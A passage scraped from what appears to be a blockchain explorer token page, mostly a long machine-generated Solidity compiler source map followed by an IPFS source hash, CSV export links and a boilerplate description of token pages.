;;;13048:13;:11;:13::i;:::-;13038:7;:23;;;;5242:42;13077:39;;13086:4;13077:39;;;13098:17;;13077:39;;;;;;:::i;:::-;;;;;;;;13154:18;;13128:7;:22;13144:4;13128:22;;;;;;;;;;;;;;;;:44;;;;;;;:::i;:::-;;;;;;;;13211:4;13188:49;;13197:4;13188:49;;;13218:18;;13188:49;;;;;;:::i;:::-;;;;;;;;13248:17;13313:18;;13293:17;;13268:22;;:42;;;;:::i;:::-;:63;;;;:::i;:::-;13248:83;;13358:9;13349:6;:18;;;;:::i;:::-;13342:25;;;12097:1278;;;;;:::o;7:126:1:-;44:7;84:42;77:5;73:54;62:65;;7:126;;;:::o;139:96::-;176:7;205:24;223:5;205:24;:::i;:::-;194:35;;139:96;;;:::o;241:118::-;328:24;346:5;328:24;:::i;:::-;323:3;316:37;241:118;;:::o;365:222::-;458:4;496:2;485:9;481:18;473:26;;509:71;577:1;566:9;562:17;553:6;509:71;:::i;:::-;365:222;;;;:::o;593:99::-;645:6;679:5;673:12;663:22;;593:99;;;:::o;698:169::-;782:11;816:6;811:3;804:19;856:4;851:3;847:14;832:29;;698:169;;;;:::o;873:307::-;941:1;951:113;965:6;962:1;959:13;951:113;;;1050:1;1045:3;1041:11;1035:18;1031:1;1026:3;1022:11;1015:39;987:2;984:1;980:10;975:15;;951:113;;;1082:6;1079:1;1076:13;1073:101;;;1162:1;1153:6;1148:3;1144:16;1137:27;1073:101;922:258;873:307;;;:::o;1186:102::-;1227:6;1278:2;1274:7;1269:2;1262:5;1258:14;1254:28;1244:38;;1186:102;;;:::o;1294:364::-;1382:3;1410:39;1443:5;1410:39;:::i;:::-;1465:71;1529:6;1524:3;1465:71;:::i;:::-;1458:78;;1545:52;1590:6;1585:3;1578:4;1571:5;1567:16;1545:52;:::i;:::-;1622:29;1644:6;1622:29;:::i;:::-;1617:3;1613:39;1606:46;;1386:272;1294:364;;;;:::o;1664:313::-;1777:4;1815:2;1804:9;1800:18;1792:26;;1864:9;1858:4;1854:20;1850:1;1839:9;1835:17;1828:47;1892:78;1965:4;1956:6;1892:78;:::i;:::-;1884:86;;1664:313;;;;:::o;2064:117::-;2173:1;2170;2163:12;2310:122;2383:24;2401:5;2383:24;:::i;:::-;2376:5;2373:35;2363:63;;2422:1;2419;2412:12;2363:63;2310:122;:::o;2438:139::-;2484:5;2522:6;2509:20;2500:29;;2538:33;2565:5;2538:33;:::i;:::-;2438:139;;;;:::o;2583:77::-;2620:7;2649:5;2638:16;;2583:77;;;:::o;2666:122::-;2739:24;2757:5;2739:24;:::i;:::-;2732:5;2729:35;2719:63;;2778:1;2775;2768:12;2719:63;2666:122;:::o;2794:139::-;2840:5;2878:6;2865:20;2856:29;;2894:33;2921:5;2894:33;:::i;:::-;2794:139;;;;:::o;2939:474::-;3007:6;3015;3064:2;3052:9;3043:7;3039:23;3035:32;3032:119;;;3070:79;;:::i;:::-;3032:119;3190:1;3215:53;3260:7;3251:6;3240:9;3236:22;3215:53;:::i;:::-;3205:63;;3161:117;3317:2;3343:53;3388:7;3379:6;3368:9;3364:22;3343:53;:::i;:::-;3333:63;;3288:118;2939:474;;;;;:::o;3419:90::-;3453:7;3496:5;3489:13;3482:21;3471:32;;3419:90;;;:::o;3515:109::-;3596:21;3611:5;3596:21;:::i;:::-;3591:3;3584:34;3515:109;;:::o;3630:210::-;3717:4;3755:2;3744:9;3740:18;3732:26;;3768:65;3830:1;3819:9;3815:17;3806:6;3768:65;:::i;:::-;3630:210;;;;:::o;3846:118::-;3933:24;3951:5;3933:24;:::i;:::-;3928:3;3921:37;3846:118;;:::o;3970:222::-;4063:4;4101:2;4090:9;4086:18;4078:26;;4114:71;4182:1;4171:9;4167:17;4158:6;4114:71;:::i;:::-;3970:222;;;;:::o;4198:89::-;4234:7;4274:6;4267:5;4263:18;4252:29;;4198:89;;;:::o;4293:115::-;4378:23;4395:5;4378:23;:::i;:::-;4373:3;4366:36;4293:115;;:::o;4414:218::-;4505:4;4543:2;4532:9;4528:18;4520:26;;4556:69;4622:1;4611:9;4607:17;4598:6;4556:69;:::i;:::-;4414:218;;;;:::o;4638:619::-;4715:6;4723;4731;4780:2;4768:9;4759:7;4755:23;4751:32;4748:119;;;4786:79;;:::i;:::-;4748:119;4906:1;4931:53;4976:7;4967:6;4956:9;4952:22;4931:53;:::i;:::-;4921:63;;4877:117;5033:2;5059:53;5104:7;5095:6;5084:9;5080:22;5059:53;:::i;:::-;5049:63;;5004:118;5161:2;5187:53;5232:7;5223:6;5212:9;5208:22;5187:53;:::i;:::-;5177:63;;5132:118;4638:619;;;;;:::o;5263:86::-;5298:7;5338:4;5331:5;5327:16;5316:27;;5263:86;;;:::o;5355:112::-;5438:22;5454:5;5438:22;:::i;:::-;5433:3;5426:35;5355:112;;:::o;5473:214::-;5562:4;5600:2;5589:9;5585:18;5577:26;;5613:67;5677:1;5666:9;5662:17;5653:6;5613:67;:::i;:::-;5473:214;;;;:::o;5693:329::-;5752:6;5801:2;5789:9;5780:7;5776:23;5772:32;5769:119;;;5807:79;;:::i;:::-;5769:119;5927:1;5952:53;5997:7;5988:6;5977:9;5973:22;5952:53;:::i;:::-;5942:63;;5898:117;5693:329;;;;:::o;6028:474::-;6096:6;6104;6153:2;6141:9;6132:7;6128:23;6124:32;6121:119;;;6159:79;;:::i;:::-;6121:119;6279:1;6304:53;6349:7;6340:6;6329:9;6325:22;6304:53;:::i;:::-;6294:63;;6250:117;6406:2;6432:53;6477:7;6468:6;6457:9;6453:22;6432:53;:::i;:::-;6422:63;;6377:118;6028:474;;;;;:::o;6508:329::-;6567:6;6616:2;6604:9;6595:7;6591:23;6587:32;6584:119;;;6622:79;;:::i;:::-;6584:119;6742:1;6767:53;6812:7;6803:6;6792:9;6788:22;6767:53;:::i;:::-;6757:63;;6713:117;6508:329;;;;:::o;6843:474::-;6911:6;6919;6968:2;6956:9;6947:7;6943:23;6939:32;6936:119;;;6974:79;;:::i;:::-;6936:119;7094:1;7119:53;7164:7;7155:6;7144:9;7140:22;7119:53;:::i;:::-;7109:63;;7065:117;7221:2;7247:53;7292:7;7283:6;7272:9;7268:22;7247:53;:::i;:::-;7237:63;;7192:118;6843:474;;;;;:::o;7323:227::-;7463:34;7459:1;7451:6;7447:14;7440:58;7532:10;7527:2;7519:6;7515:15;7508:35;7323:227;:::o;7556:366::-;7698:3;7719:67;7783:2;7778:3;7719:67;:::i;:::-;7712:74;;7795:93;7884:3;7795:93;:::i;:::-;7913:2;7908:3;7904:12;7897:19;;7556:366;;;:::o;7928:419::-;8094:4;8132:2;8121:9;8117:18;8109:26;;8181:9;8175:4;8171:20;8167:1;8156:9;8152:17;8145:47;8209:131;8335:4;8209:131;:::i;:::-;8201:139;;7928:419;;;:::o;8353:180::-;8401:77;8398:1;8391:88;8498:4;8495:1;8488:15;8522:4;8519:1;8512:15;8539:191;8579:4;8599:20;8617:1;8599:20;:::i;:::-;8594:25;;8633:20;8651:1;8633:20;:::i;:::-;8628:25;;8672:1;8669;8666:8;8663:34;;;8677:18;;:::i;:::-;8663:34;8722:1;8719;8715:9;8707:17;;8539:191;;;;:::o;8736:182::-;8876:34;8872:1;8864:6;8860:14;8853:58;8736:182;:::o;8924:366::-;9066:3;9087:67;9151:2;9146:3;9087:67;:::i;:::-;9080:74;;9163:93;9252:3;9163:93;:::i;:::-;9281:2;9276:3;9272:12;9265:19;;8924:366;;;:::o;9296:419::-;9462:4;9500:2;9489:9;9485:18;9477:26;;9549:9;9543:4;9539:20;9535:1;9524:9;9520:17;9513:47;9577:131;9703:4;9577:131;:::i;:::-;9569:139;;9296:419;;;:::o;9721:305::-;9761:3;9780:20;9798:1;9780:20;:::i;:::-;9775:25;;9814:20;9832:1;9814:20;:::i;:::-;9809:25;;9968:1;9900:66;9896:74;9893:1;9890:81;9887:107;;;9974:18;;:::i;:::-;9887:107;10018:1;10015;10011:9;10004:16;;9721:305;;;;:::o;10032:102::-;10074:8;10121:5;10118:1;10114:13;10093:34;;10032:102;;;:::o;10140:848::-;10201:5;10208:4;10232:6;10223:15;;10256:5;10247:14;;10270:712;10291:1;10281:8;10278:15;10270:712;;;10386:4;10381:3;10377:14;10371:4;10368:24;10365:50;;;10395:18;;:::i;:::-;10365:50;10445:1;10435:8;10431:16;10428:451;;;10860:4;10853:5;10849:16;10840:25;;10428:451;10910:4;10904;10900:15;10892:23;;10940:32;10963:8;10940:32;:::i;:::-;10928:44;;10270:712;;;10140:848;;;;;;;:::o;10994:1073::-;11048:5;11239:8;11229:40;;11260:1;11251:10;;11262:5;;11229:40;11288:4;11278:36;;11305:1;11296:10;;11307:5;;11278:36;11374:4;11422:1;11417:27;;;;11458:1;11453:191;;;;11367:277;;11417:27;11435:1;11426:10;;11437:5;;;11453:191;11498:3;11488:8;11485:17;11482:43;;;11505:18;;:::i;:::-;11482:43;11554:8;11551:1;11547:16;11538:25;;11589:3;11582:5;11579:14;11576:40;;;11596:18;;:::i;:::-;11576:40;11629:5;;;11367:277;;11753:2;11743:8;11740:16;11734:3;11728:4;11725:13;11721:36;11703:2;11693:8;11690:16;11685:2;11679:4;11676:12;11672:35;11656:111;11653:246;;;11809:8;11803:4;11799:19;11790:28;;11844:3;11837:5;11834:14;11831:40;;;11851:18;;:::i;:::-;11831:40;11884:5;;11653:246;11924:42;11962:3;11952:8;11946:4;11943:1;11924:42;:::i;:::-;11909:57;;;;11998:4;11993:3;11989:14;11982:5;11979:25;11976:51;;;12007:18;;:::i;:::-;11976:51;12056:4;12049:5;12045:16;12036:25;;10994:1073;;;;;;:::o;12073:281::-;12131:5;12155:23;12173:4;12155:23;:::i;:::-;12147:31;;12199:25;12215:8;12199:25;:::i;:::-;12187:37;;12243:104;12280:66;12270:8;12264:4;12243:104;:::i;:::-;12234:113;;12073:281;;;;:::o;12360:348::-;12400:7;12423:20;12441:1;12423:20;:::i;:::-;12418:25;;12457:20;12475:1;12457:20;:::i;:::-;12452:25;;12645:1;12577:66;12573:74;12570:1;12567:81;12562:1;12555:9;12548:17;12544:105;12541:131;;;12652:18;;:::i;:::-;12541:131;12700:1;12697;12693:9;12682:20;;12360:348;;;;:::o;12714:225::-;12854:34;12850:1;12842:6;12838:14;12831:58;12923:8;12918:2;12910:6;12906:15;12899:33;12714:225;:::o;12945:366::-;13087:3;13108:67;13172:2;13167:3;13108:67;:::i;:::-;13101:74;;13184:93;13273:3;13184:93;:::i;:::-;13302:2;13297:3;13293:12;13286:19;;12945:366;;;:::o;13317:419::-;13483:4;13521:2;13510:9;13506:18;13498:26;;13570:9;13564:4;13560:20;13556:1;13545:9;13541:17;13534:47;13598:131;13724:4;13598:131;:::i;:::-;13590:139;;13317:419;;;:::o;13742:223::-;13882:34;13878:1;13870:6;13866:14;13859:58;13951:6;13946:2;13938:6;13934:15;13927:31;13742:223;:::o;13971:366::-;14113:3;14134:67;14198:2;14193:3;14134:67;:::i;:::-;14127:74;;14210:93;14299:3;14210:93;:::i;:::-;14328:2;14323:3;14319:12;14312:19;;13971:366;;;:::o;14343:419::-;14509:4;14547:2;14536:9;14532:18;14524:26;;14596:9;14590:4;14586:20;14582:1;14571:9;14567:17;14560:47;14624:131;14750:4;14624:131;:::i;:::-;14616:139;;14343:419;;;:::o;14768:221::-;14908:34;14904:1;14896:6;14892:14;14885:58;14977:4;14972:2;14964:6;14960:15;14953:29;14768:221;:::o;14995:366::-;15137:3;15158:67;15222:2;15217:3;15158:67;:::i;:::-;15151:74;;15234:93;15323:3;15234:93;:::i;:::-;15352:2;15347:3;15343:12;15336:19;;14995:366;;;:::o;15367:419::-;15533:4;15571:2;15560:9;15556:18;15548:26;;15620:9;15614:4;15610:20;15606:1;15595:9;15591:17;15584:47;15648:131;15774:4;15648:131;:::i;:::-;15640:139;;15367:419;;;:::o;15792:224::-;15932:34;15928:1;15920:6;15916:14;15909:58;16001:7;15996:2;15988:6;15984:15;15977:32;15792:224;:::o;16022:366::-;16164:3;16185:67;16249:2;16244:3;16185:67;:::i;:::-;16178:74;;16261:93;16350:3;16261:93;:::i;:::-;16379:2;16374:3;16370:12;16363:19;;16022:366;;;:::o;16394:419::-;16560:4;16598:2;16587:9;16583:18;16575:26;;16647:9;16641:4;16637:20;16633:1;16622:9;16618:17;16611:47;16675:131;16801:4;16675:131;:::i;:::-;16667:139;;16394:419;;;:::o;16819:222::-;16959:34;16955:1;16947:6;16943:14;16936:58;17028:5;17023:2;17015:6;17011:15;17004:30;16819:222;:::o;17047:366::-;17189:3;17210:67;17274:2;17269:3;17210:67;:::i;:::-;17203:74;;17286:93;17375:3;17286:93;:::i;:::-;17404:2;17399:3;17395:12;17388:19;;17047:366;;;:::o;17419:419::-;17585:4;17623:2;17612:9;17608:18;17600:26;;17672:9;17666:4;17662:20;17658:1;17647:9;17643:17;17636:47;17700:131;17826:4;17700:131;:::i;:::-;17692:139;;17419:419;;;:::o;17844:228::-;17984:34;17980:1;17972:6;17968:14;17961:58;18053:11;18048:2;18040:6;18036:15;18029:36;17844:228;:::o;18078:366::-;18220:3;18241:67;18305:2;18300:3;18241:67;:::i;:::-;18234:74;;18317:93;18406:3;18317:93;:::i;:::-;18435:2;18430:3;18426:12;18419:19;;18078:366;;;:::o;18450:419::-;18616:4;18654:2;18643:9;18639:18;18631:26;;18703:9;18697:4;18693:20;18689:1;18678:9;18674:17;18667:47;18731:131;18857:4;18731:131;:::i;:::-;18723:139;;18450:419;;;:::o;18875:236::-;19015:34;19011:1;19003:6;18999:14;18992:58;19084:19;19079:2;19071:6;19067:15;19060:44;18875:236;:::o;19117:366::-;19259:3;19280:67;19344:2;19339:3;19280:67;:::i;:::-;19273:74;;19356:93;19445:3;19356:93;:::i;:::-;19474:2;19469:3;19465:12;19458:19;;19117:366;;;:::o;19489:419::-;19655:4;19693:2;19682:9;19678:18;19670:26;;19742:9;19736:4;19732:20;19728:1;19717:9;19713:17;19706:47;19770:131;19896:4;19770:131;:::i;:::-;19762:139;;19489:419;;;:::o;19914:173::-;20054:25;20050:1;20042:6;20038:14;20031:49;19914:173;:::o;20093:366::-;20235:3;20256:67;20320:2;20315:3;20256:67;:::i;:::-;20249:74;;20332:93;20421:3;20332:93;:::i;:::-;20450:2;20445:3;20441:12;20434:19;;20093:366;;;:::o;20465:419::-;20631:4;20669:2;20658:9;20654:18;20646:26;;20718:9;20712:4;20708:20;20704:1;20693:9;20689:17;20682:47;20746:131;20872:4;20746:131;:::i;:::-;20738:139;;20465:419;;;:::o;20890:175::-;21030:27;21026:1;21018:6;21014:14;21007:51;20890:175;:::o;21071:366::-;21213:3;21234:67;21298:2;21293:3;21234:67;:::i;:::-;21227:74;;21310:93;21399:3;21310:93;:::i;:::-;21428:2;21423:3;21419:12;21412:19;;21071:366;;;:::o;21443:419::-;21609:4;21647:2;21636:9;21632:18;21624:26;;21696:9;21690:4;21686:20;21682:1;21671:9;21667:17;21660:47;21724:131;21850:4;21724:131;:::i;:::-;21716:139;;21443:419;;;:::o;21868:176::-;22008:28;22004:1;21996:6;21992:14;21985:52;21868:176;:::o;22050:366::-;22192:3;22213:67;22277:2;22272:3;22213:67;:::i;:::-;22206:74;;22289:93;22378:3;22289:93;:::i;:::-;22407:2;22402:3;22398:12;22391:19;;22050:366;;;:::o;22422:419::-;22588:4;22626:2;22615:9;22611:18;22603:26;;22675:9;22669:4;22665:20;22661:1;22650:9;22646:17;22639:47;22703:131;22829:4;22703:131;:::i;:::-;22695:139;;22422:419;;;:::o;22847:221::-;22987:34;22983:1;22975:6;22971:14;22964:58;23056:4;23051:2;23043:6;23039:15;23032:29;22847:221;:::o;23074:366::-;23216:3;23237:67;23301:2;23296:3;23237:67;:::i;:::-;23230:74;;23313:93;23402:3;23313:93;:::i;:::-;23431:2;23426:3;23422:12;23415:19;;23074:366;;;:::o;23446:419::-;23612:4;23650:2;23639:9;23635:18;23627:26;;23699:9;23693:4;23689:20;23685:1;23674:9;23670:17;23663:47;23727:131;23853:4;23727:131;:::i;:::-;23719:139;;23446:419;;;:::o;23871:180::-;23919:77;23916:1;23909:88;24016:4;24013:1;24006:15;24040:4;24037:1;24030:15;24057:180;24105:77;24102:1;24095:88;24202:4;24199:1;24192:15;24226:4;24223:1;24216:15;24243:143;24300:5;24331:6;24325:13;24316:22;;24347:33;24374:5;24347:33;:::i;:::-;24243:143;;;;:::o;24392:351::-;24462:6;24511:2;24499:9;24490:7;24486:23;24482:32;24479:119;;;24517:79;;:::i;:::-;24479:119;24637:1;24662:64;24718:7;24709:6;24698:9;24694:22;24662:64;:::i;:::-;24652:74;;24608:128;24392:351;;;;:::o;24749:85::-;24794:7;24823:5;24812:16;;24749:85;;;:::o;24840:60::-;24868:3;24889:5;24882:12;;24840:60;;;:::o;24906:158::-;24964:9;24997:61;25015:42;25024:32;25050:5;25024:32;:::i;:::-;25015:42;:::i;:::-;24997:61;:::i;:::-;24984:74;;24906:158;;;:::o;25070:147::-;25165:45;25204:5;25165:45;:::i;:::-;25160:3;25153:58;25070:147;;:::o;25223:114::-;25290:6;25324:5;25318:12;25308:22;;25223:114;;;:::o;25343:184::-;25442:11;25476:6;25471:3;25464:19;25516:4;25511:3;25507:14;25492:29;;25343:184;;;;:::o;25533:132::-;25600:4;25623:3;25615:11;;25653:4;25648:3;25644:14;25636:22;;25533:132;;;:::o;25671:108::-;25748:24;25766:5;25748:24;:::i;:::-;25743:3;25736:37;25671:108;;:::o;25785:179::-;25854:10;25875:46;25917:3;25909:6;25875:46;:::i;:::-;25953:4;25948:3;25944:14;25930:28;;25785:179;;;;:::o;25970:113::-;26040:4;26072;26067:3;26063:14;26055:22;;25970:113;;;:::o;26119:732::-;26238:3;26267:54;26315:5;26267:54;:::i;:::-;26337:86;26416:6;26411:3;26337:86;:::i;:::-;26330:93;;26447:56;26497:5;26447:56;:::i;:::-;26526:7;26557:1;26542:284;26567:6;26564:1;26561:13;26542:284;;;26643:6;26637:13;26670:63;26729:3;26714:13;26670:63;:::i;:::-;26663:70;;26756:60;26809:6;26756:60;:::i;:::-;26746:70;;26602:224;26589:1;26586;26582:9;26577:14;;26542:284;;;26546:14;26842:3;26835:10;;26243:608;;;26119:732;;;;:::o;26857:831::-;27120:4;27158:3;27147:9;27143:19;27135:27;;27172:71;27240:1;27229:9;27225:17;27216:6;27172:71;:::i;:::-;27253:80;27329:2;27318:9;27314:18;27305:6;27253:80;:::i;:::-;27380:9;27374:4;27370:20;27365:2;27354:9;27350:18;27343:48;27408:108;27511:4;27502:6;27408:108;:::i;:::-;27400:116;;27526:72;27594:2;27583:9;27579:18;27570:6;27526:72;:::i;:::-;27608:73;27676:3;27665:9;27661:19;27652:6;27608:73;:::i;:::-;26857:831;;;;;;;;:::o;27694:180::-;27742:77;27739:1;27732:88;27839:4;27836:1;27829:15;27863:4;27860:1;27853:15;27880:185;27920:1;27937:20;27955:1;27937:20;:::i;:::-;27932:25;;27971:20;27989:1;27971:20;:::i;:::-;27966:25;;28010:1;28000:35;;28015:18;;:::i;:::-;28000:35;28057:1;28054;28050:9;28045:14;;27880:185;;;;:::o
Swarm Source
ipfs://664bb36ebd5139d77259a2539a6b10180c6d392c9b47acf45ca824d3004e3b22
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.